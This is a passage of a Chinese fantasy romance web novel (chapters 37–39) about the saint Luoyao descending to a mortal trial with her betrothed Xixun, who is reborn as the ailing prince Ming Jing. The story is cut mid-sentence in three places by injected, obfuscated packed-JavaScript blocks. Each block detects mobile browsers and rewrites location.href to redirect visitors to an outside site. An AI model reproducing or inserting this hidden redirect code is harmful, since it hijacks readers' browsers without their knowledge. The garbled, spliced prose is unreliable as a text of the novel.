他已经一无所有,天命否认了他的全部,就连过往的回忆都要从他脑中抹去。 可是,他活着就剩下这点寄托,就算知道回不去,也不可能狠心扔下。 魔尊习惯了黑暗,所以殿中的光线总是暗淡的,这次多点了好几盏银烛,依旧驱不散萦绕着的阴冷孤寂。 羲泠走近到床榻边,想再探一探他的伤势,被他握住了手。 夜絮将今日得知的消息与不久前发现的异常结合到一起,很快就发现了端倪,“我从幻境离开时,有时会觉察出时间混乱的痕迹,应该与朝暮轮的损坏有关系吧。” 他又提起了朝暮轮,洞悉一切的目光让羲泠心一颤,没想到他离开神位那么久,施展术法时竟还能敏锐至此。 “这件事,我还不能告诉你……” 她抽回手,是下意识防备的表现,这次,夜絮却没有追问。 “你不想说便不说,我不问了。” 他垂下眸子,声音变得疲惫,还掺杂着一丝挫败:“我只是很想知道,你到底瞒着我做了什么危险的事……你从前,明明很胆小的。” 夜絮还记得一切都还没有发生的时候,羲泠喜欢到各界去收集琴谱,可魔界和冥界常常处于黑暗之中,不似蓬莱那样明亮,她便不敢独身前往,总要拉个人与她同去。 怕黑,怕猛兽,怕恶鬼……她什么都怕,可当六界有难,有生灵需要救治的时候,她又什么都不怕了。 “你也说了,那是从前。” 羲泠背过身去,不愿让他看到自己红了眼。 回不去了……回不去了。 他们之间,怎么就变成今日这副模样了呢? 两人都没有说话,良久,羲泠感到后背一热,是他靠了上来。 小心翼翼的,仿佛只要贴近她,他的心便安定了。 羲泠没有动,涩声换了个话题,也是帮自己转移注意,“霄霜今日一时冲动,才会冒犯了你,为了六界稳固,答应我,别再追究她的过失了。” “好。”夜絮答应得很爽快,没有半点不悦。 他从身后将她圈进怀里,近乎虔诚地低喃:“不管你要我做什么,我都会答应。” 羲泠像是听懂了他没说出口的话,忽然就忍不住了,她哽咽起来,压抑的泪水从眼眶滑落,淹没在层层叠叠的衣袍里。 先人的恩怨纠葛,要用一世的时间清偿,这是天道赐予他们的命运。他们注定相互折磨,终其一世,恨而不能杀,爱而不可得。 可只要恨还在,爱就不会走。 夜絮倾身上前,轻轻吻去了她的泪珠。 37. 江河一粟(十一) 接到来自沧丞的传音蝶后,珞瑶和羲洵直接回了神山。诸神已经在此等候多时,只为共同商量下一步该如何安排,他们又该去往何方。 朝梧面有愁容,道:“我在人间兜了一圈又一圈,掘地三尺都没有找到什么‘雾河’,要不是有天命卷轴,我真要怀疑这个地方到底存不存在了。” 世人看到的东西,无一不是天道想让世人看到的。他们虽成神,但终究无法揣摩天意,只有从寥寥的提示中探索希望。 朝梧的难处亦是众神的难处,他们商议再三,对此实在一筹莫展,只有先将难度最大的暂且放下,将目光转向天道指引的最后一物。 “圣女心头泪”。 圣女自然指的是珞瑶,此物看似最易取得,实则内里大有乾坤。 沧丞苦笑一声,将众神的顾虑说了出来,“我怎么觉得取这东西也不比寻找雾河简单多少,珞瑶什么时候哭过?” 落泪需动情,而珞瑶生性冷清,显然不具备这份“天赋”。 在一群希冀的注视下,她努力眨了眨眼,可眼中干涩,半分泪意都挤不出来。 珞瑶皱起眉,顿感挫败。 “无妨,再试试……”朝梧忙劝慰。 要说镇幽珠也真是刁钻,不说补充能让修为大增的天材地宝,强求圣女动情是什么道理? 这不是添乱吗? 为了得到珞瑶的眼泪,众神你一言我一语,抱着“死马当活马医”的念头想办法,其中有沧丞出的馊主意,什么滴几滴露水、去各界找一些能催生泪水的药物…… 且不说有没有这种药物,用此下策逼出的眼泪,当真能糊弄过天道? 缃雀感召到圣女的呼唤,自澜渊圣境飞来了神山,见众神焦头烂额抓不住要害,出言提醒:“心头泪乃至悲、至痛之泪,寻常时刻流出的眼泪,威力不及其万一,必然起不到应有的效用。” 上古鹏鸟见识广博,相当于直接推翻了他们试图尝试的方案,羲洵听后眸光轻动,若有所思。 至悲,至痛…… 丹狸跟珞瑶一起上的神山,此时正安静地窝在花丛后的角落里,怀里抱着一卷小小的书。 沧丞无意间瞥见了,奇怪地靠近它,“丹狸,你看什么呢?” 他的声音冷不丁自背后响起,把丹狸吓得一蹦三尺高,浑身毛都奓了起来,爪下按着的书就那么飞了出去,摔在荷塘旁边。 被翻得折了角的书卷登时映入了所有人的眼帘,封皮上没有别的图画,赫然写着几个大字——《圣灵昙情误俊书生》。 气氛安静了几秒,连“罪魁祸首”沧丞都傻眼了。 他平时嘴上不着调,但到底涉猎有限,还真没看过下界这些消遣之物,端看这书名字奇特,又是“圣”又是“灵昙”的…… 敢情这东西,其实是一部以珞瑶为主角的话本? 众神哭笑不得,羲洵捡起来翻了几页,蹙起眉头,“……哪里来的这些乌七八糟的东西?” 丹狸:“我听圣使说人间有好多写珞瑶的话本,我太好奇了,才托她偷偷带上来的……你们别怪她,都是我的主意!” 它自知闯了祸,圆滚滚的身体在花丛中团成了一团,耳朵胡子都耷拉了下去。对此,珞瑶倒是没有责备,只是露出了一种难以理解的神情。 她知道丹狸爱看话本,但没想到是这种话本,实在是……难登大雅之堂。 这一小插曲很快过去,众人的心思回到正事上,这时,朝梧忽然开口:“我有一法子。” “珞瑶感知不到何为‘至悲至痛’,是因为情窍未开,若能下一剂猛药强行冲开情窍,困难便迎刃而解了。” 顶着众人的目光,朝梧硬着头皮,继续说了下去,“比如,丹狸的话本里写的‘俊书生’。” 沧丞福至心灵,脱口而出:“你的意思是,让珞瑶去下界历劫?” 六界诞生至今,少有圣女应劫的先例,起初众神皆觉得不通,可转念一想,想让珞瑶打开情窍,进而取得心头泪,这不就是最容易见成效的方法吗? 人间一世,对上界来说不过弹指一挥间,纵使百年也耗得起,比起停在原地遥遥无期的等待,不如将主动权握在手里。 沧丞的眼神飘到羲洵身上,小声说:“要什么书生?这里不是正有一个上好的人选……” 他话音未落,数道视线一下子聚集到了羲洵身上,自然明白这意味着什么。后者没有说话,心跳声却在耳畔越来越大,如击如擂。 越过众神,两人的目光遥遥相汇。 …… 天色昏暗下去,一轮圆月挂在天边,将神山照得明明如昼。 商议过后,众神各自归去,珞瑶还没有离开,依然站在神山中庭外的玉雕栏杆旁,不知在想什么。 丹狸看完了话本,在层山秀水中找到了主人的身影。 它跳进珞瑶怀里,问:“你真要下凡渡劫?” 珞瑶应了:“嗯。” 丹狸对人间很是憧憬,听后兴奋地扬起了尾巴,奈何渡劫是件极为严肃的事,总不能带上它同去。 它又问:“要是你在凡间喜欢上了什么人,该怎么办?” 这次,珞瑶没有回答。 其实不必言明,她也知道丹狸想问什么,也必须承认:无论从前镇压过多少幽祟,又表现得如何条理、如何冷静,可现在,她不知该怎样应对那件事。 这里位于山顶,再走几步便是沉泽宫。 珞瑶想着,正欲抬步动身时,那阵熟悉的气息像有所感应一般,悄然出现在了几步之外。 她停了下来,但没有转身,直到他来到她身后,唤了一声“阿瑶”。 “还在想渡劫的事?”他问。 见羲洵过来,丹狸早识趣地跑了,珞瑶点了点头,但一言未发,比平时更加沉默。 月亮隐进云层,平静无风。明明是静谧非凡的环境,却乱了羲洵的心,就好像吃了一瓣半生不熟的橘子,酸而涩口,他急于咽进腹中,偏偏卡在喉咙里不上不下。 羲洵垂下眼睫,缓缓道:“你知道,这世上重要的远不止男女之爱一种感情,至亲、挚友、弱者,甚至敌人,皆有助你冲开情窍的可能。到下界渡劫,只不过是因时间紧迫而选择的手段,我希望你从心而为,不必在意沧丞他们的话,更不必顾虑我什么……” “不必顾虑你?”珞瑶望过来。 她目光沉静,直直盯着他,在夜色下愈发显得清冽。 羲洵喉结微动,一句回答在口中绕了好几个圜,最后还是选择了坚持。 “是。” 他笑了笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17330331|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,终是说出了那句掩埋了许久、可私心又不愿坦诚的话,“如果我们的婚约已经成为你的束缚和负担,我更希望它不曾存在过,或者就此消失。” 衣袖之下,他指节嵌进手掌,掐出了月牙形状的红痕,却没感觉到痛。 珞瑶听后,道:“你想解除它。” “怎么会?我——” 他脸上的从容淡了,下意识否认,继而似乎意识到自己过于激动,又缩回了壳子里,这怕是羲洵神君最着急、也最矛盾的时刻了。 须臾,他的声音低低响起,“我当然不想。” 可是,他不能因为自己的一厢情愿而伤了她。 爱不该是占有,他喜欢她,在意她,就越希望她能顺心而为,展翅高飞。 树影摇晃不止,玉质雕栏触手生凉,被掌心的温度暖成了温热,珞瑶情绪不明地望着他,又移开目光。 不知过了多久,她突然问:“最初天道降下婚约的时候,你是什么感受?” 这番话勾起了羲洵潜埋的思绪,意外过后,他翘起唇角,眼底多了一抹不自知的柔软。 “不真实,过了很久,我还觉得像在做梦。”他说。 往事已去,却在心里足够深刻,足以铭记终身。 少年时候,他房中有一幅珞瑶的画像,当然不是作赏玩亵渎之用,闭关修炼时,每每抬头看见画中身影,他便又是钦慕,又是感叹天命造物的神奇——一个比他还年少的女子,居然生来具有守护天地的能力。 人人都说,珞瑶圣女是六界的守护神,他也曾从一窝蜂拥挤的人群中挤进去,透过界主殿的屏风惊鸿一瞥,至于她有没有回头,有没有多瞧他一眼,他没能看清。 他日复一日地想那时的场景,后来,一道天命卷轴毫无征兆地砸下来,将他们的命途绑在了一起。 好像一夜之间,他和她的距离就从高不可攀的仰望,变成了近在咫尺的注视。 那时候,他还只是一个无足轻重的仙族太子,虽然小有修为,但还远远拿不出手,因此羞惭,即便因婚约有了一重“名正言顺”的身份,也不敢唐突地走到她面前,只敢隔着山海河川,遥遥望她。 后来,他飞升成神,终于有了站在她身边的底气,却又因初登神位而事务缠身,追剿幽祟、炼制神器、闭关又出关…… 以为很漫长的时间,转眼便倥偬了千年。 朝菌不知晦朔,蟪蛄不知春秋。 世人渔樵耕读,勤俭度日,不曾听闻界壁之外还有天地,神祇心中亦有神祇。 夜风驱散云层,吹乱了鬓发,一片静谧里,馥郁的昙花香气悄然飘来,来自不远处的沉泽宫。 分外亲切的味道萦绕在鼻腔,久久不散,珞瑶舒了口气,一腔思绪也从迷茫中走了出来,尘埃落定。 她开口:“我没有过下凡历劫的经历,不知道会发生什么,身处异境,我又会选择谁……但有你在,应该不会干扰我的决断。” 羲洵从她的话里敏锐地察觉出什么,心跳渐渐加快、“你……” “陪我下凡吧。” 月色比刚出来的时候还亮,珞瑶似乎笑了一下,转身走了。 天道为何要为她缔结婚约,又为何选择了羲洵? 从头到尾体会一次,或许,她就知道答案了。 38. 辛夷有泪(一) 三日后,镇幽珠归于碧火台,禁制加固。 圣女将历凡劫,澜渊圣境上下严守,缜密无疏。珞瑶嘱咐:“如有幽族异动,即刻唤醒我。” 四下僻静,唯有丹狸作伴,她躺在卧榻上,自行驱动法力,缓缓进入了沉睡。 人间草木,天地蜉蝣。 醒后爱恨离空,只作梦一场。 …… 辛夷城。 拂晓时分,鸡鸣夹杂着犬吠,没过多久,街头突然爆发出一声厉喝,彻底惊醒了沉睡的城池。 “快追,别让她跑了!” 身披甲胄的铠甲士兵接踵而来,冲翻了沿途的货摊,混乱之中,一个身穿囚服的女子从人群中奔了出来,脚上拴着的铁链断成了两半。 女子拼命地向外逃,不知在何处夺了把匕首,对着那些士兵迅疾出刀,趁势放倒了好几个。眼见更多的人冲了上来,她寡不敌众,险些被制服时又狠狠挣脱了。 一片人仰马翻,女子发丝胡乱散下来,在大街拐角的地方被另一队人马生擒。 她被缴了械,一抬头,眼前竟不是负责押送奴籍者的侍卫,而是一辆马车。 “放开我!” 她狼狈地挣扎着,身后的侍卫们追上来,看见来人是谁后立马赔起了笑容,好言好语地讨要囚奴,继而遭到厉斥:“放肆!向二公子要人,谁给你的胆子?” 偌大一个辛夷城中,谁人不知城主对二公子宽纵有加? 侍卫首领当即垂首,再也不敢说捉逃奴归案的事,满面惶恐地带着手下退下了。 女子被押在地上,逆着光,疾风吹眯了她的眼。 风停后,管家方掀起车帘,一个白衣男人独坐在车中,面有病容,看上去不过弱冠年岁,垂眼见她,微微俯下了身去。 熹光普照,他的眼被映成了琥珀般的颜色,唇边笑却是冷的,“抓到你了,沈娘子。” …… 一群人马浩浩荡荡离开,就这么堂而皇之地收押被贬入奴籍的女子,将她带回了府邸。 “公子,沈娘子那边该如何处理?” 管家不明主子的心意,隔着门试探问,得到一句简短的回应:“带进来”。 房门很快打开,女子被守卫押进来,扔在了地上。 她撑起身子,直视眼前坐轮椅的男人,那双眸子里透着几分莹莹蓝光,像落难的狼。 在她毫无畏惧的注视里,男人漫不经心地轻笑了一声,“沈流玉,你和你父亲可不太像。” 三月前,一桩贪墨大案横空出世,线索直指左侍郎沈胥,沈胥官职被罢免,未及查出确凿证据便畏罪自裁,最后横死狱中,算是结了这案子。 按照辛夷城律法,其女沈流玉受到牵连,当被充入奴籍。 男人容貌清隽如玉,脸色却是久病的苍白,身下坐着轮椅。 他低下身去,“替我做一件事,我保你不会被贬为奴。” 沈流玉少时才名初显,被称有治世之能,不输其父,后来没了动静,怕是恐招摇惹来是非,才被迫收敛起锋芒。 一旦成了奴籍,就再也没有了进入仕途的机会,流玉原本是怕的,可自从父亲死后,她就不怕了。 “放我走,我不会再为你们明家卖命了!” 她想站起来,又被守卫死死压了回去,却不肯低下头,冲着他厉声喊,“我父为辛夷城殚精竭虑,到头来含冤而死,遭人投毒被说成畏罪自戕,你还敢找我做事?你怎么敢!” 辛夷城主膝下子嗣不丰,其中长公子名珲,性子最是温和宽厚;二公子名璟,空有一个光风霁月的名讳,却是个孤僻阴郁的主,且自小体弱,有短命之相。 也正是因此,近年来城主多重用长子,行二的明璟仍受宠眷,但终究在政局上落了下乘。 明璟看着流玉挣扎,没有说话,直到她力气渐渐耗尽,才对管家说了什么。 片刻,守卫带着一个纤瘦的女子走了进来。在看清女子的长相后,流玉大震,“杨柳?!” 杨柳与她年纪相仿,是她从小玩到大的好友,沈府倒后,杨柳居然落进了明璟手里…… 毫无疑问,杨柳是明璟威胁她的筹码。 直至此时,明璟才说出自己的条件,“我送你去长公子府邸,你替我监视明珲,她就留在我这里,我会善待她。” 他盯着沈流玉,毫不意外地捕捉到她眼中一闪而过的慌乱,“否则,就让她替你入奴籍吧。” 流玉的脸色瞬间难看起来,死死盯着他。明璟并不在意,咳了几声,管家忙上前奉热茶,又被他推到一边。 前不久,辛夷城经他之手向外城输送铁矿,中途竟遭土匪劫去,至今去向不明,原先矿运使是他的人,事发后被夺职罢免,新上任的人选则是长公子府邸的亲信。 多年以来,矿运司一直是他手下的地盘,如今却只有拱手让于他人。这让他不得不怀疑自己那位兄长,究竟是无心插柳,还是蓄意为之。 “流玉,别管我,你快走!” 杨柳口中塞着的布团被取下来,急急摇着头,朝沈流玉大声喊。 尽管好友如此,可沈流玉如何能心安理得地接受? 她思虑片刻,到底是忍着屈辱,问:“我怎么相信你?” “条件我已经说明,信不信由你。”明璟软硬不吃,淡淡睨了她一眼。 男人生了一张温润如玉的仙人面庞,却心胸狭隘,半点没有仙人的气度。沈流玉被气得不轻,囚服下的手悄然握成了拳。 她思绪暗暗飞转,杨柳虽出身平民,但也是清白人家的女子,家中无罪,没有入奴籍的理由。何况王子犯法与庶民同罪,明璟师出无名,岂敢对杨柳下手?他上头还有城主和长公子,如何就能只手遮天! 要是他敢,她必定去刑狱司敲鸣冤鼓,闹到整个辛夷城人尽皆知,也要让他自食恶果! “我不做。”流玉磨了磨后槽牙,压着声音道。 明璟目光骤冷,“由不得你。” 他出尔反尔,几乎是立刻否决了沈流玉的决定,可见根本就没准备给她选择的机会,不过是试探和羞辱。 流玉怒火中烧,那一刻也不知哪里来的力气,竟挣脱了身后的守卫,随后膝行两步向那架轮椅冲过去,扑到明璟的右手腕上狠狠咬了一口! “快拉开她!” 管家吓得魂飞魄散,声音都变了调。回过神的守卫蜂拥而上,好不容易才将流玉拉到一边,死死按在了地上。 人群散开,明璟脸色越发的白,手上赫然多了一个渗血的牙印,看上去触目惊心。 方才他竭力想甩开沈流玉,却无济于事,被她一口咬死了手腕,那力道,就好像扼住了他的咽喉。 沈胥性子温和沉稳,这哪里是他的女儿?这根本是只野蛮的狼! “把她关起来,没有我的吩咐,不许放她出来!” 明璟盛怒上头,咳得喘不过气,眼前发黑,守卫们不敢耽搁,忙连声称是,拽着沈流玉退了下去。 …… 就这样过去了大半日。入夜后,管家推着明璟到花园里透气,后者兴致缺缺,看见侧面厢房透出的一点微弱烛火,嘴角更沉下去了几分。 管家观察主子的脸色,小心翼翼禀道:“沈娘子一整日都没有进食,先前又在侍卫营那里受了苦,恐怕……” 明璟手上的伤口还在隐隐作痛,“你在替她说话?” “奴才不敢。”管家忙低下头,“奴才只是觉得,如今沈娘子对公子颇为重要,若公子想让她日后效忠,还是不好过于苛待。” 明璟望向不远处房门紧锁的厢房,不耐地哼了一声。 他之所以大费周章保下沈流玉,是因为其父沈胥曾在长公子府邸做过两年教书先生,与明珲有师徒之谊。 沈胥死后,明珲哀恸不已,还在府上偷偷做过几场法事,超度亡师在天之灵。 明珲手下麻烦的人很多,想在他府上安插细作,不容易。唯有沈流玉,他不仅会放下心防,还会因愧疚对她宽容有加。 “咔嗒”一声,房门上捆着的粗锁链被解开了。 今日明璟精神尚好,于是暂时离开了轮椅,他踏进厢房,看见沈流玉抱膝坐在墙角,门框、窗棂上有用硬物撬过的痕迹,可惜还是木板和铁锁技高一筹,没让她得手。 见明璟进来,流玉立刻站起了身,眼神警惕。 明璟冷笑一声,“你还真硬气。” 他自小体弱,每日用膳迟一刻钟便会胃痛难忍,经常还要加鸡汤参茶之类的汤汤水水调养,沈流玉宁死不屈,原来是因为有一副硬脾胃铁肚子。 明璟不能久站,也不理会她,自顾自进了内室,他在软榻上坐下,无意扫了一眼沈流玉,目光停了停。 沈流玉来时一身囚服,披头散发的模样凌乱又狼狈,明璟嫌晦气,叫人把她的衣裳换了,没想到她最后什么都没选,用木簪绾了发,身上也只穿着件最朴素的白衣。 她还在为亡父守孝。 这一念头一入脑,明璟无言了,所有刻薄难听的狠话都堵在了嘴边,又被逼无奈咽回去,戳得他嗓子眼生疼。 “沈胥胸怀天下,是个好臣子,可惜,胸怀天下的人一向没有好下场。” 烛火闪烁,照着明璟寂寥的眉眼,“就像我母亲。” 流玉没想到他的态度会忽然软化,脑子空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17335682|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白了一瞬。 明璟的母亲姓华,是辛夷城主的前任夫人。十八年前,辛夷城中的河流遭不明毒气污染,百姓喝入腹中,横死者无数,华夫人通晓医术,当时身怀六甲,为救城中百姓仍喝下毒水,以身试药。 后来,她成功研制出了药方,但因为时间拖了太久,自己已然毒素入体,无药可医。 半年后,华夫人血气耗竭,用尽最后的力气生下二公子明璟,就此溘然长逝。明璟自娘胎里便受毒素影响,才会天生体弱多病,一直拖累他至今。 流玉站在原地,本就心怀丧父之痛,此刻也生出几分同病相怜的动容,可想起他说的“胸怀天下者都没有好下场”,她极不认同,那点动容又像秋风扫落叶般转瞬平息了。 “夫人心念苍生,二公子没有这份心思,当然不明白。”她硬邦邦道。 “我是不明白!” 明璟突然激动起来,呼吸急促,“她是心念苍生,可何人念过她?她喝下那毒水的时候,又何曾考虑过我!” “她死的时候父亲哭得死去活来,结果没过多久就另娶了续弦,凭什么?除了我,还有谁会记她一辈子!” 他又动了怒,嗓子都哑了,管家忧心不已,忙上前帮他顺气,又悄悄向沈流玉使眼色,求她别说了。 流玉站在原地,顿生哑然。她没想到明璟会有这么大的反应,一时生出几分不该那样说的自悔。 在他心里,恐怕自己相当于为苍生所害,又有什么理由心念苍生? 半晌,明璟喝了参茶,看上去好转许多,许是感到疲惫,便不再主动说话了。 流玉抿起唇,也在软榻上坐了下来,侧头一望,见明璟右手靠近手腕的地方顶着一圈清晰的牙印,是她白天的时候咬的。 再往下,他消瘦的手腕上缠着一串十八子紫檀珠,看上去古旧,应该有些年头了。 圆润饱满的珠子呈紫褐色,衬得他手上的皮肤愈发惨白,像脆弱的瓷器。 流玉盯着那处,声音稍稍放轻了,“以前,我父亲常常提起华夫人,还说二公子本非庸才,又得百姓爱戴,若非体弱,不应是如此处境。” 明璟听后没有再发怒,而是笑了,唇边扯出一个自嘲的弧度。 “所以,我只能自保了。”他说。 两人视线相对,沈流玉没笑,他也笑不出了,略显焦躁地把手腕上的珠子拽下来,握在手心里。 良久过去,明璟长舒了口气,好似叹息,“白天我说过的事,你再想想吧。你去明珲那里做我的眼线,告诉我他的一举一动,我会查清沈胥之死,为你报父仇。” 这次,他明显有了更多耐心,情绪已然平复了,甚至为沈流玉加码,提出了更有利于她的条件。 流玉垂着眼眸,管家苦口婆心的劝告又在耳边回荡,“沈侍郎生前为官清正,辛夷城上下有目共睹,且贪墨案了结时并无确凿罪证,城主心中尚有疑虑,只要沈娘子珍重自身,何愁他日不能为父洗冤呢?” “好,我去。” 她下定了决心,眼眸始终直视着他,“但你必须保证,不许动杨柳。” 明璟:“一言为定。” 交易已经达成,他终于心情舒畅了几分,起身欲离开厢房,走到门口时又停了下来,鬼使神差道:“沈流玉,你最好是诚心为我卖命,而不是因为可怜我。” 没有人想要旁人的怜悯,她可怜辛夷城的二公子,谁又来可怜她,可怜那些缺衣少食的百姓? “我为的是辛夷城。”流玉说。 房门打开,照进来一地月光。明璟径自笑了,不知是笑她的天真还是赤诚,“我才说了你和沈胥不像。” …… 神山上,浮生镜中光影浮动,映出两张熟悉的面庞,又因沾染凡尘之气而显得有些陌生。 “看来他们两个相处得还不错。” 沧丞站在镜前,神色放松,一边又感到费解,“不过神族下凡,灵气强盛,为何会投身成一个病骨支离的药罐子?” 朝梧常在下界行走,且早年也有过渡劫的经历,因此对人间的事了解得更多,她道:“你不必忧心,我想,这应该是他自己的选择。” 下凡历劫者凡羸弱多病,要么是本体修为不稳定,灵台虚弱,在历劫时就会受到原身的投射,要么是受历劫者自身意识的指引,只不过多数人都希望自己身强体健,所以才显得“明璟”的状况稀有。 沧丞听后,认同地点了点头。 朝梧的话打消了他一半的疑虑,但还有一半——如果说这是羲洵自己的意愿,那他为何要这样选呢? 难道他为了早日帮珞瑶冲开情窍,打算亲自“献祭”一次? 39. 辛夷有泪(二) 就像明璟说的那样,有他的求情,城主很快撤除了诏令,使沈流玉免于发落奴籍。 也许是出于宠爱幼子,也许是对亡故旧臣复杂的感情,但这都不重要了。 后面几日,沈流玉一直留在二公子府邸,没人知道她的去向,也没有人在意,直到辛夷城举行祭天,她被放了出去,混迹在拥挤的人群里。 祭天大典一年一度,每逢今日,辛夷城上下祭天地、拜圣女,以求来年的丰收和安宁,而此次城主出巡外城,祭天的大任便落到了长公子明珲身上。 祭台之上,圣女像被安置在中央最高处,肃穆又慈悲的眉眼俯视着天地。就在明珲在众臣簇拥下上香拜祭,即将礼成之时,一支蒙面刺客突然涌了出来,冲散了秩序井然的仪仗。 场面迅速陷入了混乱,守卫应付不及,护送的围圈暴露出一个缺口,随着一声金属发出的尖啸,沈流玉自人群中飞身而出,挡在长公子身前,为他抵住了袭来的飞刃。 片刻,赶来的援兵冲上祭台,很快控制了突如其来的失控局面。长公子因乱受惊,被第一时间送回府邸,因病弱未能上祭台的明璟则逃过一劫,没有成为刺客刺杀的目标。 惊险过后,城中百姓纷纷作鸟兽散,护主有功的沈流玉还没有离开,独身立在台阶下。 明璟坐着轮椅,依然是那副病歪歪的模样,今日他一手策划的“意外”,算是成功了。 “去吧,沈大人。” 他深深望了她一眼,便不再多言,坐上了回府的马车,高头大马盛气凌人地驱赶着挡路的平民,像扫走了一滩枯叶。 …… 半个时辰后,沈流玉被恭恭敬敬迎进了长公子府邸,她被当作功臣,不仅被奉为上宾,流水般的金银珠宝也被送到了她面前。 流玉坐在正厅,等待着长公子的召见,俄顷,从外面进来的却不是明珲,而是一个陌生的男人,他身量高大,穿着一身武将常服,腰间配剑。 “长公子今日受了惊吓,正在房中休息,怕是不能与娘子相见了,便派我前来招待。” 男人眉眼深邃,似乎含着几分笑意,“我叫炎庚,是长公子手下的守将,若沈娘子愿意,可以唤我的名字。” 沈流玉听说过他,听闻是长公子麾下的左膀右臂,于是稍稍俯首行礼,唤了一声“炎将军”。 就在流玉将要屈膝时,目光中忽然闯进一只手臂,将她稳稳扶住了。她抬起头,却见炎庚翘起了唇角,正定定望着她,不是打量,更像端详。 那双眸子里的情绪颇为复杂,好像装着柔和,但过满则溢,于是又成为了无关情欲的欣赏。 流玉微怔,“炎将军为何如此看我?” 这一句话让炎庚回了神,他收回手,方才流露出的情绪也悉数收敛,“抱歉,冒犯了。只是觉得沈娘子十分熟悉,让我感到亲切,也许……是有昔日沈侍郎的风姿。” 沈胥贤名远播,生前很有名望,哪怕在朝中也有不少仰慕他的臣子,沈流玉听后没有怀疑,原本心中浮起的古怪也消退了下去。 两人在桌前坐下,炎庚道:“长公子追念沈侍郎,无奈碍于当下形势,实在有心无力。他知道沈娘子有才学,嘱咐我一定要留下你,就算你不愿入他麾下,也愿意护你一世平安。” 他的话可以说是正中沈流玉下怀。答应明璟后,进入长公子府邸就成了流玉的目的,要接近长公子,成为他的信任之人,就不能只做一个寄居在这里的待嫁娘子,而要像炎庚一样成为他的左膀右臂,他的谋士。 当然,借着这个身份,她也有自己想做的事。 日光熹微,照彻了整个厅堂,沈流玉思虑片刻,向炎庚颔首。 “愿为长公子效劳。”她道。 …… 上界,浮生镜闪动着光亮,沧丞匆匆瞥了一眼便诧异了,“怎么炎庚也……”也跟着下去了? 朝梧知道他在顾虑什么,如果珞瑶这次历劫的方向“跑偏”,最后情窍为炎庚所破,她和羲洵的婚约怕是就难以为继了——可话又说回来,何为“跑偏”? 这是属于珞瑶的劫数,掌舵的人是她自己,谁又能对此置喙半句? “珞瑶有自己选择情缘的权利,我们没有资格干涉,就算是羲洵知道了,应该也不会背离她的意愿。”朝梧道。 沧丞一开始没反应过来,还在想要不要想个办法干预一番,后来经朝梧劝说,是无论如何都下不去手了,最后只有无奈地叹了口气。 “你说的也有道理,还是顺其自然吧。” 监管渡劫是个折磨神的活计,若是劫数中顺遂居多还好,若是苦难居多,便只有眼睁睁看着渡劫之人失败、受苦,有时甚至走向穷途末路,也不能替他们出头。 沧丞长吁短叹,围着浮生镜踱了两圈,一边摇着头,“唉,孽缘啊……” 朝梧不清楚他在感慨哪一对,好笑地瞅了他一眼,道:“我看珞瑶这次投身的亲缘、友缘也颇为深厚,以她的性子,说不定男女之情尚未萌发,其他人就已经帮她破了情窍。” 此次珞瑶渡劫的目的明确,他们只管最后取没取得心头泪,不管别的。 至于天命婚约什么的,那就是羲洵自己要努力的事了。 …… 长公子惜才,在听闻沈流玉愿意归顺后喜不自胜,当即手起笔落写下诏令,封她做了侍书长史。 七品官,虽然品级不高,却是近臣。 次日夜晚,沈流玉避开守卫,在明璟的接应下重回二公子府邸。明璟已经在廊下等她,流玉关上院门,从袖中拿出了一样东西。 是先前明璟向她交代过的,一本侍卫营的名册。 明璟打开那本名册,翻看时唇边勾起,似乎对她的表现很是满意,“继续向上爬吧,你爬得越高,对我才越有用。” 流玉没接话,心道:也更好摆脱你。 许是她的神情暴露了心中所言,明璟瞥了她一眼,唇角便放平了下去,“别以为我不知道你在想什么。” 流玉有话想对他说,本可以避而不谈,在心里暗暗踯躅,最后还是选择了最坦诚的一条路。 “我为你传递情报,但也会真心实意为长公子做事,日后你不需要我了,我们就分道扬镳,互不干涉。”她道。 明璟听后,翻看的动作停住了,他脸色阴了阴,抬起头,“你才见了明珲一面,就决定以后要死心塌地跟着他了?” 其实早在沈流玉随父亲读书的时候,她就在心里找出了许多追随长公子的理由,礼贤下士的主上、友善和睦的同僚,连院子里的花草都显得比这里的精神许多。 更重要的是,长公子身体强健,有成为城主、勤于政务的本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338929|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱。 她知道,长公子肯定比明璟强得多,可偏偏就是这个病秧子,一手将她送到了长公子面前。 “为臣者应当忠于一君,从属二主,是辱没沈家门楣。”流玉道。 明璟嗤笑,他的眉眼如玉一般温润又干净,此时却扬起了一个恶劣的弧度,仿佛在嘲讽她刚直到愚蠢的脾性,“你的奴籍是我替你脱的,这辈子就和我脱不了干系,明珲经人一挑拨照样会怀疑你,你这样做,讨不着好。” 流玉垂下眸子。 